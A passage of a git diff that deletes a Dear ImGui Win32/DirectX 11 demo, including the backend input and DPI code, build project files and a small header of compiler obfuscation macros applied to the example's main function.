Added WM_LBUTTONDBLCLK double-click handlers for window classes with the CS_DBLCLKS flag. -// 2017-10-23: Inputs: Added WM_SYSKEYDOWN / WM_SYSKEYUP handlers so e.g. the VK_MENU key can be read. -// 2017-10-23: Inputs: Using Win32 ::SetCapture/::GetCapture() to retrieve mouse positions outside the client area when dragging. -// 2016-11-12: Inputs: Only call Win32 ::SetCursor(NULL) when io.MouseDrawCursor is set. - -// Win32 Data -static HWND g_hWnd = NULL; -static INT64 g_Time = 0; -static INT64 g_TicksPerSecond = 0; -static ImGuiMouseCursor g_LastMouseCursor = ImGuiMouseCursor_COUNT; -static bool g_HasGamepad = false; -static bool g_WantUpdateHasGamepad = true; - -// XInput DLL and functions -#ifndef IMGUI_IMPL_WIN32_DISABLE_GAMEPAD -static HMODULE g_XInputDLL = NULL; -static PFN_XInputGetCapabilities g_XInputGetCapabilities = NULL; -static PFN_XInputGetState g_XInputGetState = NULL; -#endif - -// Functions -bool ImGui_ImplWin32_Init(void* hwnd) -{ - if (!::QueryPerformanceFrequency((LARGE_INTEGER*)&g_TicksPerSecond)) - return false; - if (!::QueryPerformanceCounter((LARGE_INTEGER*)&g_Time)) - return false; - - // Setup backend capabilities flags - g_hWnd = (HWND)hwnd; - ImGuiIO& io = ImGui::GetIO(); - io.BackendFlags |= ImGuiBackendFlags_HasMouseCursors; // We can honor GetMouseCursor() values (optional) - io.BackendFlags |= ImGuiBackendFlags_HasSetMousePos; // We can honor io.WantSetMousePos requests (optional, rarely used) - io.BackendPlatformName = "imgui_impl_win32"; - io.ImeWindowHandle = hwnd; - - // Keyboard mapping. Dear ImGui will use those indices to peek into the io.KeysDown[] array that we will update during the application lifetime. - io.KeyMap[ImGuiKey_Tab] = VK_TAB; - io.KeyMap[ImGuiKey_LeftArrow] = VK_LEFT; - io.KeyMap[ImGuiKey_RightArrow] = VK_RIGHT; - io.KeyMap[ImGuiKey_UpArrow] = VK_UP; - io.KeyMap[ImGuiKey_DownArrow] = VK_DOWN; - io.KeyMap[ImGuiKey_PageUp] = VK_PRIOR; - io.KeyMap[ImGuiKey_PageDown] = VK_NEXT; - io.KeyMap[ImGuiKey_Home] = VK_HOME; - io.KeyMap[ImGuiKey_End] = VK_END; - io.KeyMap[ImGuiKey_Insert] = VK_INSERT; - io.KeyMap[ImGuiKey_Delete] = VK_DELETE; - io.KeyMap[ImGuiKey_Backspace] = VK_BACK; - io.KeyMap[ImGuiKey_Space] = VK_SPACE; - io.KeyMap[ImGuiKey_Enter] = VK_RETURN; - io.KeyMap[ImGuiKey_Escape] = VK_ESCAPE; - io.KeyMap[ImGuiKey_KeyPadEnter] = VK_RETURN; - io.KeyMap[ImGuiKey_A] = 'A'; - io.KeyMap[ImGuiKey_C] = 'C'; - io.KeyMap[ImGuiKey_V] = 'V'; - io.KeyMap[ImGuiKey_X] = 'X'; - io.KeyMap[ImGuiKey_Y] = 'Y'; - io.KeyMap[ImGuiKey_Z] = 'Z'; - - // Dynamically load XInput library -#ifndef IMGUI_IMPL_WIN32_DISABLE_GAMEPAD - const char* xinput_dll_names[] = - { - "xinput1_4.dll", // Windows 8+ - "xinput1_3.dll", // DirectX SDK - "xinput9_1_0.dll", // Windows Vista, Windows 7 - "xinput1_2.dll", // DirectX SDK - "xinput1_1.dll" // DirectX SDK - }; - for (int n = 0; n < IM_ARRAYSIZE(xinput_dll_names); n++) - if (HMODULE dll = ::LoadLibraryA(xinput_dll_names[n])) - { - g_XInputDLL = dll; - g_XInputGetCapabilities = (PFN_XInputGetCapabilities)::GetProcAddress(dll, "XInputGetCapabilities"); - g_XInputGetState = (PFN_XInputGetState)::GetProcAddress(dll, "XInputGetState"); - break; - } -#endif // IMGUI_IMPL_WIN32_DISABLE_GAMEPAD - - return true; -} - -void ImGui_ImplWin32_Shutdown() -{ - // Unload XInput library -#ifndef IMGUI_IMPL_WIN32_DISABLE_GAMEPAD - if (g_XInputDLL) - ::FreeLibrary(g_XInputDLL); - g_XInputDLL = NULL; - g_XInputGetCapabilities = NULL; - g_XInputGetState = NULL; -#endif // IMGUI_IMPL_WIN32_DISABLE_GAMEPAD - - g_hWnd = NULL; - g_Time = 0; - g_TicksPerSecond = 0; - g_LastMouseCursor = ImGuiMouseCursor_COUNT; - g_HasGamepad = false; - g_WantUpdateHasGamepad = true; -} - -static bool ImGui_ImplWin32_UpdateMouseCursor() -{ - ImGuiIO& io = ImGui::GetIO(); - if (io.ConfigFlags & ImGuiConfigFlags_NoMouseCursorChange) - return false; - - ImGuiMouseCursor imgui_cursor = ImGui::GetMouseCursor(); - if (imgui_cursor == ImGuiMouseCursor_None || io.MouseDrawCursor) - { - // Hide OS mouse cursor if imgui is drawing it or if it wants no cursor - ::SetCursor(NULL); - } - else - { - // Show OS mouse cursor - LPTSTR win32_cursor = IDC_ARROW; - switch (imgui_cursor) - { - case ImGuiMouseCursor_Arrow: win32_cursor = IDC_ARROW; break; - case ImGuiMouseCursor_TextInput: win32_cursor = IDC_IBEAM; break; - case ImGuiMouseCursor_ResizeAll: win32_cursor = IDC_SIZEALL; break; - case ImGuiMouseCursor_ResizeEW: win32_cursor = IDC_SIZEWE; break; - case ImGuiMouseCursor_ResizeNS: win32_cursor = IDC_SIZENS; break; - case ImGuiMouseCursor_ResizeNESW: win32_cursor = IDC_SIZENESW; break; - case ImGuiMouseCursor_ResizeNWSE: win32_cursor = IDC_SIZENWSE; break; - case ImGuiMouseCursor_Hand: win32_cursor = IDC_HAND; break; - case ImGuiMouseCursor_NotAllowed: win32_cursor = IDC_NO; break; - } - ::SetCursor(::LoadCursor(NULL, win32_cursor)); - } - return true; -} - -static void ImGui_ImplWin32_UpdateMousePos() -{ - ImGuiIO& io = ImGui::GetIO(); - - // Set OS mouse position if requested (rarely used, only when ImGuiConfigFlags_NavEnableSetMousePos is enabled by user) - if (io.WantSetMousePos) - { - POINT pos = { (int)io.MousePos.x, (int)io.MousePos.y }; - if (::ClientToScreen(g_hWnd, &pos)) - ::SetCursorPos(pos.x, pos.y); - } - - // Set mouse position - io.MousePos = ImVec2(-FLT_MAX, -FLT_MAX); - POINT pos; - if (HWND active_window = ::GetForegroundWindow()) - if (active_window == g_hWnd || ::IsChild(active_window, g_hWnd)) - if (::GetCursorPos(&pos) && ::ScreenToClient(g_hWnd, &pos)) - io.MousePos = ImVec2((float)pos.x, (float)pos.y); -} - -// Gamepad navigation mapping -static void ImGui_ImplWin32_UpdateGamepads() -{ -#ifndef IMGUI_IMPL_WIN32_DISABLE_GAMEPAD - ImGuiIO& io = ImGui::GetIO(); - memset(io.NavInputs, 0, sizeof(io.NavInputs)); - if ((io.ConfigFlags & ImGuiConfigFlags_NavEnableGamepad) == 0) - return; - - // Calling XInputGetState() every frame on disconnected gamepads is unfortunately too slow. - // Instead we refresh gamepad availability by calling XInputGetCapabilities() _only_ after receiving WM_DEVICECHANGE. - if (g_WantUpdateHasGamepad) - { - XINPUT_CAPABILITIES caps; - g_HasGamepad = g_XInputGetCapabilities ? (g_XInputGetCapabilities(0, XINPUT_FLAG_GAMEPAD, &caps) == ERROR_SUCCESS) : false; - g_WantUpdateHasGamepad = false; - } - - io.BackendFlags &= ~ImGuiBackendFlags_HasGamepad; - XINPUT_STATE xinput_state; - if (g_HasGamepad && g_XInputGetState && g_XInputGetState(0, &xinput_state) == ERROR_SUCCESS) - { - const XINPUT_GAMEPAD& gamepad = xinput_state.Gamepad; - io.BackendFlags |= ImGuiBackendFlags_HasGamepad; - - #define MAP_BUTTON(NAV_NO, BUTTON_ENUM) { io.NavInputs[NAV_NO] = (gamepad.wButtons & BUTTON_ENUM) ? 1.0f : 0.0f; } - #define MAP_ANALOG(NAV_NO, VALUE, V0, V1) { float vn = (float)(VALUE - V0) / (float)(V1 - V0); if (vn > 1.0f) vn = 1.0f; if (vn > 0.0f && io.NavInputs[NAV_NO] < vn) io.NavInputs[NAV_NO] = vn; } - MAP_BUTTON(ImGuiNavInput_Activate, XINPUT_GAMEPAD_A); // Cross / A - MAP_BUTTON(ImGuiNavInput_Cancel, XINPUT_GAMEPAD_B); // Circle / B - MAP_BUTTON(ImGuiNavInput_Menu, XINPUT_GAMEPAD_X); // Square / X - MAP_BUTTON(ImGuiNavInput_Input, XINPUT_GAMEPAD_Y); // Triangle / Y - MAP_BUTTON(ImGuiNavInput_DpadLeft, XINPUT_GAMEPAD_DPAD_LEFT); // D-Pad Left - MAP_BUTTON(ImGuiNavInput_DpadRight, XINPUT_GAMEPAD_DPAD_RIGHT); // D-Pad Right - MAP_BUTTON(ImGuiNavInput_DpadUp, XINPUT_GAMEPAD_DPAD_UP); // D-Pad Up - MAP_BUTTON(ImGuiNavInput_DpadDown, XINPUT_GAMEPAD_DPAD_DOWN); // D-Pad Down - MAP_BUTTON(ImGuiNavInput_FocusPrev, XINPUT_GAMEPAD_LEFT_SHOULDER); // L1 / LB - MAP_BUTTON(ImGuiNavInput_FocusNext, XINPUT_GAMEPAD_RIGHT_SHOULDER); // R1 / RB - MAP_BUTTON(ImGuiNavInput_TweakSlow, XINPUT_GAMEPAD_LEFT_SHOULDER); // L1 / LB - MAP_BUTTON(ImGuiNavInput_TweakFast, XINPUT_GAMEPAD_RIGHT_SHOULDER); // R1 / RB - MAP_ANALOG(ImGuiNavInput_LStickLeft, gamepad.sThumbLX, -XINPUT_GAMEPAD_LEFT_THUMB_DEADZONE, -32768); - MAP_ANALOG(ImGuiNavInput_LStickRight, gamepad.sThumbLX, +XINPUT_GAMEPAD_LEFT_THUMB_DEADZONE, +32767); - MAP_ANALOG(ImGuiNavInput_LStickUp, gamepad.sThumbLY, +XINPUT_GAMEPAD_LEFT_THUMB_DEADZONE, +32767); - MAP_ANALOG(ImGuiNavInput_LStickDown, gamepad.sThumbLY, -XINPUT_GAMEPAD_LEFT_THUMB_DEADZONE, -32767); - #undef MAP_BUTTON - #undef MAP_ANALOG - } -#endif // #ifndef IMGUI_IMPL_WIN32_DISABLE_GAMEPAD -} - -void ImGui_ImplWin32_NewFrame() -{ - ImGuiIO& io = ImGui::GetIO(); - IM_ASSERT(io.Fonts->IsBuilt() && "Font atlas not built! It is generally built by the renderer backend. Missing call to renderer _NewFrame() function? e.g. ImGui_ImplOpenGL3_NewFrame()."); - - // Setup display size (every frame to accommodate for window resizing) - RECT rect = { 0, 0, 0, 0 }; - ::GetClientRect(g_hWnd, &rect); - io.DisplaySize = ImVec2((float)(rect.right - rect.left), (float)(rect.bottom - rect.top)); - - // Setup time step - INT64 current_time = 0; - ::QueryPerformanceCounter((LARGE_INTEGER*)¤t_time); - io.DeltaTime = (float)(current_time - g_Time) / g_TicksPerSecond; - g_Time = current_time; - - // Read keyboard modifiers inputs - io.KeyCtrl = (::GetKeyState(VK_CONTROL) & 0x8000) != 0; - io.KeyShift = (::GetKeyState(VK_SHIFT) & 0x8000) != 0; - io.KeyAlt = (::GetKeyState(VK_MENU) & 0x8000) != 0; - io.KeySuper = false; - // io.KeysDown[], io.MousePos, io.MouseDown[], io.MouseWheel: filled by the WndProc handler below. - - // Update OS mouse position - ImGui_ImplWin32_UpdateMousePos(); - - // Update OS mouse cursor with the cursor requested by imgui - ImGuiMouseCursor mouse_cursor = io.MouseDrawCursor ? ImGuiMouseCursor_None : ImGui::GetMouseCursor(); - if (g_LastMouseCursor != mouse_cursor) - { - g_LastMouseCursor = mouse_cursor; - ImGui_ImplWin32_UpdateMouseCursor(); - } - - // Update game controllers (if enabled and available) - ImGui_ImplWin32_UpdateGamepads(); -} - -// Allow compilation with old Windows SDK. MinGW doesn't have default _WIN32_WINNT/WINVER versions. -#ifndef WM_MOUSEHWHEEL -#define WM_MOUSEHWHEEL 0x020E -#endif -#ifndef DBT_DEVNODES_CHANGED -#define DBT_DEVNODES_CHANGED 0x0007 -#endif - -// Win32 message handler (process Win32 mouse/keyboard inputs, etc.) -// Call from your application's message handler. -// When implementing your own backend, you can read the io.WantCaptureMouse, io.WantCaptureKeyboard flags to tell if Dear ImGui wants to use your inputs. -// - When io.WantCaptureMouse is true, do not dispatch mouse input data to your main application. -// - When io.WantCaptureKeyboard is true, do not dispatch keyboard input data to your main application. -// Generally you may always pass all inputs to Dear ImGui, and hide them from your application based on those two flags. -// PS: In this Win32 handler, we use the capture API (GetCapture/SetCapture/ReleaseCapture) to be able to read mouse coordinates when dragging mouse outside of our window bounds. -// PS: We treat DBLCLK messages as regular mouse down messages, so this code will work on windows classes that have the CS_DBLCLKS flag set. Our own example app code doesn't set this flag. -#if 0 -// Copy this line into your .cpp file to forward declare the function. -extern IMGUI_IMPL_API LRESULT ImGui_ImplWin32_WndProcHandler(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam); -#endif -IMGUI_IMPL_API LRESULT ImGui_ImplWin32_WndProcHandler(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam) -{ - if (ImGui::GetCurrentContext() == NULL) - return 0; - - ImGuiIO& io = ImGui::GetIO(); - switch (msg) - { - case WM_LBUTTONDOWN: case WM_LBUTTONDBLCLK: - case WM_RBUTTONDOWN: case WM_RBUTTONDBLCLK: - case WM_MBUTTONDOWN: case WM_MBUTTONDBLCLK: - case WM_XBUTTONDOWN: case WM_XBUTTONDBLCLK: - { - int button = 0; - if (msg == WM_LBUTTONDOWN || msg == WM_LBUTTONDBLCLK) { button = 0; } - if (msg == WM_RBUTTONDOWN || msg == WM_RBUTTONDBLCLK) { button = 1; } - if (msg == WM_MBUTTONDOWN || msg == WM_MBUTTONDBLCLK) { button = 2; } - if (msg == WM_XBUTTONDOWN || msg == WM_XBUTTONDBLCLK) { button = (GET_XBUTTON_WPARAM(wParam) == XBUTTON1) ? 3 : 4; } - if (!ImGui::IsAnyMouseDown() && ::GetCapture() == NULL) - ::SetCapture(hwnd); - io.MouseDown[button] = true; - return 0; - } - case WM_LBUTTONUP: - case WM_RBUTTONUP: - case WM_MBUTTONUP: - case WM_XBUTTONUP: - { - int button = 0; - if (msg == WM_LBUTTONUP) { button = 0; } - if (msg == WM_RBUTTONUP) { button = 1; } - if (msg == WM_MBUTTONUP) { button = 2; } - if (msg == WM_XBUTTONUP) { button = (GET_XBUTTON_WPARAM(wParam) == XBUTTON1) ? 3 : 4; } - io.MouseDown[button] = false; - if (!ImGui::IsAnyMouseDown() && ::GetCapture() == hwnd) - ::ReleaseCapture(); - return 0; - } - case WM_MOUSEWHEEL: - io.MouseWheel += (float)GET_WHEEL_DELTA_WPARAM(wParam) / (float)WHEEL_DELTA; - return 0; - case WM_MOUSEHWHEEL: - io.MouseWheelH += (float)GET_WHEEL_DELTA_WPARAM(wParam) / (float)WHEEL_DELTA; - return 0; - case WM_KEYDOWN: - case WM_SYSKEYDOWN: - if (wParam < 256) - io.KeysDown[wParam] = 1; - return 0; - case WM_KEYUP: - case WM_SYSKEYUP: - if (wParam < 256) - io.KeysDown[wParam] = 0; - return 0; - case WM_CHAR: - // You can also use ToAscii()+GetKeyboardState() to retrieve characters. - if (wParam > 0 && wParam < 0x10000) - io.AddInputCharacterUTF16((unsigned short)wParam); - return 0; - case WM_SETCURSOR: - if (LOWORD(lParam) == HTCLIENT && ImGui_ImplWin32_UpdateMouseCursor()) - return 1; - return 0; - case WM_DEVICECHANGE: - if ((UINT)wParam == DBT_DEVNODES_CHANGED) - g_WantUpdateHasGamepad = true; - return 0; - } - return 0; -} - - -//-------------------------------------------------------------------------------------------------------- -// DPI-related helpers (optional) -//-------------------------------------------------------------------------------------------------------- -// - Use to enable DPI awareness without having to create an application manifest. -// - Your own app may already do this via a manifest or explicit calls. This is mostly useful for our examples/ apps. -// - In theory we could call simple functions from Windows SDK such as SetProcessDPIAware(), SetProcessDpiAwareness(), etc. -// but most of the functions provided by Microsoft require Windows 8.1/10+ SDK at compile time and Windows 8/10+ at runtime, -// neither we want to require the user to have. So we dynamically select and load those functions to avoid dependencies. -//--------------------------------------------------------------------------------------------------------- -// This is the scheme successfully used by GLFW (from which we borrowed some of the code) and other apps aiming to be highly portable. -// ImGui_ImplWin32_EnableDpiAwareness() is just a helper called by main.cpp, we don't call it automatically. -// If you are trying to implement your own backend for your own engine, you may ignore that noise. -//--------------------------------------------------------------------------------------------------------- - -// Implement some of the functions and types normally declared in recent Windows SDK. -#if !defined(_versionhelpers_H_INCLUDED_) && !defined(_INC_VERSIONHELPERS) -static BOOL IsWindowsVersionOrGreater(WORD major, WORD minor, WORD sp) -{ - OSVERSIONINFOEXW osvi = { sizeof(osvi), major, minor, 0, 0, { 0 }, sp, 0, 0, 0, 0 }; - DWORD mask = VER_MAJORVERSION | VER_MINORVERSION | VER_SERVICEPACKMAJOR; - ULONGLONG cond = ::VerSetConditionMask(0, VER_MAJORVERSION, VER_GREATER_EQUAL); - cond = ::VerSetConditionMask(cond, VER_MINORVERSION, VER_GREATER_EQUAL); - cond = ::VerSetConditionMask(cond, VER_SERVICEPACKMAJOR, VER_GREATER_EQUAL); - return ::VerifyVersionInfoW(&osvi, mask, cond); -} -#define IsWindowsVistaOrGreater() IsWindowsVersionOrGreater(HIBYTE(0x0600), LOBYTE(0x0600), 0) // _WIN32_WINNT_VISTA -#define IsWindows8OrGreater() IsWindowsVersionOrGreater(HIBYTE(0x0602), LOBYTE(0x0602), 0) // _WIN32_WINNT_WIN8 -#define IsWindows8Point1OrGreater() IsWindowsVersionOrGreater(HIBYTE(0x0603), LOBYTE(0x0603), 0) // _WIN32_WINNT_WINBLUE -#endif - -#ifndef DPI_ENUMS_DECLARED -typedef enum { PROCESS_DPI_UNAWARE = 0, PROCESS_SYSTEM_DPI_AWARE = 1, PROCESS_PER_MONITOR_DPI_AWARE = 2 } PROCESS_DPI_AWARENESS; -typedef enum { MDT_EFFECTIVE_DPI = 0, MDT_ANGULAR_DPI = 1, MDT_RAW_DPI = 2, MDT_DEFAULT = MDT_EFFECTIVE_DPI } MONITOR_DPI_TYPE; -#endif -#ifndef _DPI_AWARENESS_CONTEXTS_ -DECLARE_HANDLE(DPI_AWARENESS_CONTEXT); -#define DPI_AWARENESS_CONTEXT_PER_MONITOR_AWARE (DPI_AWARENESS_CONTEXT)-3 -#endif -#ifndef DPI_AWARENESS_CONTEXT_PER_MONITOR_AWARE_V2 -#define DPI_AWARENESS_CONTEXT_PER_MONITOR_AWARE_V2 (DPI_AWARENESS_CONTEXT)-4 -#endif -typedef HRESULT(WINAPI* PFN_SetProcessDpiAwareness)(PROCESS_DPI_AWARENESS); // Shcore.lib + dll, Windows 8.1+ -typedef HRESULT(WINAPI* PFN_GetDpiForMonitor)(HMONITOR, MONITOR_DPI_TYPE, UINT*, UINT*); // Shcore.lib + dll, Windows 8.1+ -typedef DPI_AWARENESS_CONTEXT(WINAPI* PFN_SetThreadDpiAwarenessContext)(DPI_AWARENESS_CONTEXT); // User32.lib + dll, Windows 10 v1607+ (Creators Update) - -// Helper function to enable DPI awareness without setting up a manifest -void ImGui_ImplWin32_EnableDpiAwareness() -{ - // if (IsWindows10OrGreater()) // This needs a manifest to succeed. Instead we try to grab the function pointer! - { - static HINSTANCE user32_dll = ::LoadLibraryA("user32.dll"); // Reference counted per-process - if (PFN_SetThreadDpiAwarenessContext SetThreadDpiAwarenessContextFn = (PFN_SetThreadDpiAwarenessContext)::GetProcAddress(user32_dll, "SetThreadDpiAwarenessContext")) - { - SetThreadDpiAwarenessContextFn(DPI_AWARENESS_CONTEXT_PER_MONITOR_AWARE_V2); - return; - } - } - if (IsWindows8Point1OrGreater()) - { - static HINSTANCE shcore_dll = ::LoadLibraryA("shcore.dll"); // Reference counted per-process - if (PFN_SetProcessDpiAwareness SetProcessDpiAwarenessFn = (PFN_SetProcessDpiAwareness)::GetProcAddress(shcore_dll, "SetProcessDpiAwareness")) - { - SetProcessDpiAwarenessFn(PROCESS_PER_MONITOR_DPI_AWARE); - return; - } - } -#if _WIN32_WINNT >= 0x0600 - ::SetProcessDPIAware(); -#endif -} - -#if defined(_MSC_VER) && !defined(NOGDI) -#pragma comment(lib, "gdi32") // Link with gdi32.lib for GetDeviceCaps(). MinGW will require linking with '-lgdi32' -#endif - -float ImGui_ImplWin32_GetDpiScaleForMonitor(void* monitor) -{ - UINT xdpi = 96, ydpi = 96; - static BOOL bIsWindows8Point1OrGreater = IsWindows8Point1OrGreater(); - if (bIsWindows8Point1OrGreater) - { - static HINSTANCE shcore_dll = ::LoadLibraryA("shcore.dll"); // Reference counted per-process - if (PFN_GetDpiForMonitor GetDpiForMonitorFn = (PFN_GetDpiForMonitor)::GetProcAddress(shcore_dll, "GetDpiForMonitor")) - GetDpiForMonitorFn((HMONITOR)monitor, MDT_EFFECTIVE_DPI, &xdpi, &ydpi); - } -#ifndef NOGDI - else - { - const HDC dc = ::GetDC(NULL); - xdpi = ::GetDeviceCaps(dc, LOGPIXELSX); - ydpi = ::GetDeviceCaps(dc, LOGPIXELSY); - ::ReleaseDC(NULL, dc); - } -#endif - IM_ASSERT(xdpi == ydpi); // Please contact me if you hit this assert! - return xdpi / 96.0f; -} - -float ImGui_ImplWin32_GetDpiScaleForHwnd(void* hwnd) -{ - HMONITOR monitor = ::MonitorFromWindow((HWND)hwnd, MONITOR_DEFAULTTONEAREST); - return ImGui_ImplWin32_GetDpiScaleForMonitor(monitor); -} - -//--------------------------------------------------------------------------------------------------------- -// Transparency related helpers (optional) -//-------------------------------------------------------------------------------------------------------- - -#if defined(_MSC_VER) -#pragma comment(lib, "dwmapi") // Link with dwmapi.lib. MinGW will require linking with '-ldwmapi' -#endif -//--------------------------------------------------------------------------------------------------------- diff --git a/demos/DemoImGui/backends/imgui_impl_win32.h b/demos/DemoImGui/backends/imgui_impl_win32.h deleted file mode 100644 index 7a882ae..0000000 --- a/demos/DemoImGui/backends/imgui_impl_win32.h +++ /dev/null @@ -1,42 +0,0 @@ -// dear imgui: Platform Backend for Windows (standard windows API for 32 and 64 bits applications) -// This needs to be used along with a Renderer (e.g. DirectX11, OpenGL3, Vulkan..) - -// Implemented features: -// [X] Platform: Clipboard support (for Win32 this is actually part of core dear imgui) -// [X] Platform: Mouse cursor shape and visibility. Disable with 'io.ConfigFlags |= ImGuiConfigFlags_NoMouseCursorChange'. -// [X] Platform: Keyboard arrays indexed using VK_* Virtual Key Codes, e.g. ImGui::IsKeyPressed(VK_SPACE). -// [X] Platform: Gamepad support. Enabled with 'io.ConfigFlags |= ImGuiConfigFlags_NavEnableGamepad'. - -// You can copy and use unmodified imgui_impl_* files in your project. See examples/ folder for examples of using this. -// If you are new to Dear ImGui, read documentation from the docs/ folder + read the top of imgui.cpp. -// Read online: https://github.com/ocornut/imgui/tree/master/docs - -#pragma once -#define WINUSERAPI -#define _KERNEL32_ -#define _ACRTIMP -#define _NTSYSTEM_ -#define _GDI32_ - -#include "imgui.h" // IMGUI_IMPL_API - -IMGUI_IMPL_API bool ImGui_ImplWin32_Init(void* hwnd); -IMGUI_IMPL_API void ImGui_ImplWin32_Shutdown(); -IMGUI_IMPL_API void ImGui_ImplWin32_NewFrame(); - -// Win32 message handler your application need to call. -// - Intentionally commented out in a '#if 0' block to avoid dragging dependencies on from this helper. -// - You should COPY the line below into your .cpp code to forward declare the function and then you can call it. -#if 0 -extern IMGUI_IMPL_API LRESULT ImGui_ImplWin32_WndProcHandler(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam); -#endif - -// DPI-related helpers (optional) -// - Use to enable DPI awareness without having to create an application manifest. -// - Your own app may already do this via a manifest or explicit calls. This is mostly useful for our examples/ apps. -// - In theory we could call simple functions from Windows SDK such as SetProcessDPIAware(), SetProcessDpiAwareness(), etc. -// but most of the functions provided by Microsoft require Windows 8.1/10+ SDK at compile time and Windows 8/10+ at runtime, -// neither we want to require the user to have. So we dynamically select and load those functions to avoid dependencies. -IMGUI_IMPL_API void ImGui_ImplWin32_EnableDpiAwareness(); -IMGUI_IMPL_API float ImGui_ImplWin32_GetDpiScaleForHwnd(void* hwnd); // HWND hwnd -IMGUI_IMPL_API float ImGui_ImplWin32_GetDpiScaleForMonitor(void* monitor); // HMONITOR monitor diff --git a/demos/DemoImGui/examples/example_win32_directx11/Theodosius.h b/demos/DemoImGui/examples/example_win32_directx11/Theodosius.h deleted file mode 100644 index 9697813..0000000 --- a/demos/DemoImGui/examples/example_win32_directx11/Theodosius.h +++ /dev/null @@ -1,19 +0,0 @@ -#pragma once -#define WINUSERAPI -#define _KERNEL32_ -#define _ACRTIMP -#define NTKERNELAPI - -#define THEO_OBFUSCATE(...) \ - _Pragma("code_seg(\".theo\")") \ - __VA_ARGS__ \ - _Pragma("code_seg()") - -#define THEO_MUTATE(...) \ - _Pragma("code_seg(\".theo1\")") \ - __VA_ARGS__ \ - _Pragma("code_seg()") - -#define LLVM_BCF __attribute((__annotate__(("bcf")))) -#define LLVM_SUB __attribute((__annotate__(("sub")))) -#define LLVM_FLA __attribute((__annotate__(("fla")))) \ No newline at end of file diff --git a/demos/DemoImGui/examples/example_win32_directx11/example_win32_directx11.vcxproj b/demos/DemoImGui/examples/example_win32_directx11/example_win32_directx11.vcxproj deleted file mode 100644 index f202e4d..0000000 --- a/demos/DemoImGui/examples/example_win32_directx11/example_win32_directx11.vcxproj +++ /dev/null @@ -1,92 +0,0 @@ - - - - - Release - x64 - - - - {9F316E83-5AE5-4939-A723-305A94F48005} - example_win32_directx11 - 10.0 - DemoImGui - - - - StaticLibrary - false - true - Unicode - llvm - - - - - - - - - - $(ProjectDir)$(Configuration)\ - $(ProjectDir)$(Configuration)\ - - - false - $(ProjectDir)..\..\..\..\clang-cl.exe - -Xclang -std=c++1z -Xclang -mcode-model -Xclang large -Xclang -fno-jump-tables -mllvm -split -mllvm -split_num=4 -mllvm -sub_loop=4 - - - - Level4 - Disabled - false - true - ..\..;..\..\backends;%(AdditionalIncludeDirectories); - false - MultiThreadedDLL - false - false - /Zc:threadSafeInit- %(AdditionalOptions) - stdcpp17 - Disabled - NotSet - - - - true - true - true - d3d11.lib;d3dcompiler.lib;dxgi.lib;%(AdditionalDependencies) - $(DXSDK_DIR)/Lib/x64;%(AdditionalLibraryDirectories) - Console - - - false - - - - - - - - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/demos/DemoImGui/examples/example_win32_directx11/example_win32_directx11.vcxproj.filters b/demos/DemoImGui/examples/example_win32_directx11/example_win32_directx11.vcxproj.filters deleted file mode 100644 index 72b4511..0000000 --- a/demos/DemoImGui/examples/example_win32_directx11/example_win32_directx11.vcxproj.filters +++ /dev/null @@ -1,62 +0,0 @@ - - - - - {0587d7a3-f2ce-4d56-b84f-a0005d3bfce6} - - - {08e36723-ce4f-4cff-9662-c40801cf1acf} - - - - - imgui - - - imgui - - - imgui - - - sources - - - sources - - - imgui - - - - - imgui - - - sources - - - imgui - - - imgui - - - imgui - - - sources - - - sources - - - imgui - - - - - sources - - - \ No newline at end of file diff --git a/demos/DemoImGui/examples/example_win32_directx11/example_win32_directx11.vcxproj.user b/demos/DemoImGui/examples/example_win32_directx11/example_win32_directx11.vcxproj.user deleted file mode 100644 index 88a5509..0000000 --- a/demos/DemoImGui/examples/example_win32_directx11/example_win32_directx11.vcxproj.user +++ /dev/null @@ -1,4 +0,0 @@ - - - - \ No newline at end of file diff --git a/demos/DemoImGui/examples/example_win32_directx11/main.cpp b/demos/DemoImGui/examples/example_win32_directx11/main.cpp deleted file mode 100644 index b561bcf..0000000 --- a/demos/DemoImGui/examples/example_win32_directx11/main.cpp +++ /dev/null @@ -1,249 +0,0 @@ -// Dear ImGui: standalone example application for DirectX 11 -// If you are new to Dear ImGui, read documentation from the docs/ folder + read the top of imgui.cpp. -// Read online: https://github.com/ocornut/imgui/tree/master/docs -#include "Theodosius.h" -#include "imgui.h" -#include "imgui_impl_win32.h" -#include "imgui_impl_dx11.h" -#include -#include - -// Data -static ID3D11Device* g_pd3dDevice = NULL; -static ID3D11DeviceContext* g_pd3dDeviceContext = NULL; -static IDXGISwapChain* g_pSwapChain = NULL; -static ID3D11RenderTargetView* g_mainRenderTargetView = NULL; - -// Forward declarations of helper functions -bool CreateDeviceD3D(HWND hWnd); -void CleanupDeviceD3D(); -void CreateRenderTarget(); -void CleanupRenderTarget(); -LRESULT WINAPI WndProc(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam); - -THEO_OBFUSCATE(LLVM_BCF LLVM_SUB extern "C" int main(int, char**) -{ - // Create application window - //ImGui_ImplWin32_EnableDpiAwareness(); - WNDCLASSEX wc = { sizeof(WNDCLASSEX), CS_CLASSDC, WndProc, 0L, 0L, GetModuleHandle(NULL), NULL, NULL, NULL, NULL, _T("ImGui Example"), NULL }; - ::RegisterClassEx(&wc); - HWND hwnd = ::CreateWindow(wc.lpszClassName, _T("Dear ImGui DirectX11 Example"), WS_OVERLAPPEDWINDOW, 100, 100, 1280, 800, NULL, NULL, wc.hInstance, NULL); - - // Initialize Direct3D - if (!CreateDeviceD3D(hwnd)) - { - CleanupDeviceD3D(); - ::UnregisterClass(wc.lpszClassName, wc.hInstance); - return 1; - } - - // Show the window - ::ShowWindow(hwnd, SW_SHOWDEFAULT); - ::UpdateWindow(hwnd); - - // Setup Dear ImGui context - IMGUI_CHECKVERSION(); - ImGui::CreateContext(); - ImGuiIO& io = ImGui::GetIO(); (void)io; - //io.ConfigFlags |= ImGuiConfigFlags_NavEnableKeyboard; // Enable Keyboard Controls - //io.ConfigFlags |= ImGuiConfigFlags_NavEnableGamepad; // Enable Gamepad Controls - - // Setup Dear ImGui style - ImGui::StyleColorsDark(); - //ImGui::StyleColorsClassic(); - - // Setup Platform/Renderer backends - ImGui_ImplWin32_Init(hwnd); - ImGui_ImplDX11_Init(g_pd3dDevice, g_pd3dDeviceContext); - - // Load Fonts - // - If no fonts are loaded, dear imgui will use the default font. You can also load multiple fonts and use ImGui::PushFont()/PopFont() to select 